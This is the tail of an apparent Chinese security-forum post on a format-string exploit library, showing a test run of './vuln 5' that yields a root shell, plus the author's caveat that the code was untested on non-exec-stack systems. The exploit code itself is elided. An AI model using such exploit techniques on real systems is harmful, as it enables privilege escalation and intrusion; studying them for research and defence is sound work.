Got it,distance:120
ok,write down
[bkbll@mobile fmtxp_lib]$
测试一下:
[bkbll@mobile fmtxp_lib]$./vuln 5

/* some extra codes */

sh-2.05b# id
uid=0(root) gid=500(bkbll) groups=500(bkbll)
sh-2.05b#
同样可以成功..

说明:上述代码只是给出了思路, 但环境有限, 代码调试并没有在non-exec stack system中运行过. 具体成功与否,还需要您来信告诉我:)

Coded by :bkbll@cnhonker.net
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题